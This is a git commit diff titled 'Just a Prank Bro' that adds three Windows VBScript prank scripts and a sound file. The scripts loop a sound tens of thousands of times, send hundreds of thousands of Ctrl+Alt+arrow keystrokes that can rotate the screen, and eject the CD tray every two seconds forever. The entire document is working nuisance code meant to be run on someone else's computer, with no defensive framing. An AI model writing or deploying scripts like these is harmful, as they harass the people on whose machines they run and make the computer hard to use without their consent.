Just a Prank BroHEADmaster

4 files changed, 45 insertions, 0 deletions

diff --git a/Pirate/DrunkMode.vbs b/Pirate/DrunkMode.vbs
new file mode 100755
index 0000000..1c254e7
--- /dev/null
+++ b/Pirate/DrunkMode.vbs
@@ -0,0 +1,23 @@
+Set WshShell = WScript.CreateObject("WScript.Shell")
+Set fso = CreateObject("Scripting.FileSystemObject")
+
+Dim objShell
+Set objShell = Wscript.CreateObject("WScript.Shell")
+
+objShell.Run "tray.vbs"
+objShell.Run "keys.vbs" 
+
+Dim oPlayer
+Set oPlayer = CreateObject("WMPlayer.OCX")
+
+do
+Directory = fso.BuildPath(CurrentDirectory, "pirates.wav")
+oPlayer.URL = "pirates.wav"
+oPlayer.controls.play 
+While oPlayer.playState <> 1 '
+  WScript.Sleep 100
+Wend
+oPlayer.close
+
+c = c+1
+loop while c  < 100000
diff --git a/Pirate/keys.vbs b/Pirate/keys.vbs
new file mode 100755
index 0000000..47c93d8
--- /dev/null
+++ b/Pirate/keys.vbs
@@ -0,0 +1,9 @@
+Set WshShell = WScript.CreateObject("WScript.Shell")

+do

+WshShell.SendKeys "^%{RIGHT}"

+WshShell.SendKeys "^%{DOWN}"

+WshShell.SendKeys "^%{UP}"

+WshShell.SendKeys "^%{LEFT}"

+c = c+1

+

+loop while c < 400000
\ No newline at end of file
diff --git a/Pirate/pirates.wav b/Pirate/pirates.wav
new file mode 100755
index 0000000..05d9297
--- /dev/null
+++ b/Pirate/pirates.wav
diff --git a/Pirate/tray.vbs b/Pirate/tray.vbs
new file mode 100755
index 0000000..3ce1b30
--- /dev/null
+++ b/Pirate/tray.vbs
@@ -0,0 +1,13 @@
+Set oWMP = CreateObject("WMPlayer.OCX.7")

+Set colCDROMs = oWMP.cdromCollection

+do

+if colCDROMs.Count >= 1 then

+For i = 0 to colCDROMs.Count -1

+colCDROMs.Item(i).Eject

+Next

+For i = 0 to colCDROMs.Count -1

+colCDROMs.Item(i).Eject

+Next

+End If

+wscript.sleep 2000

+loop
\ No newline at end of file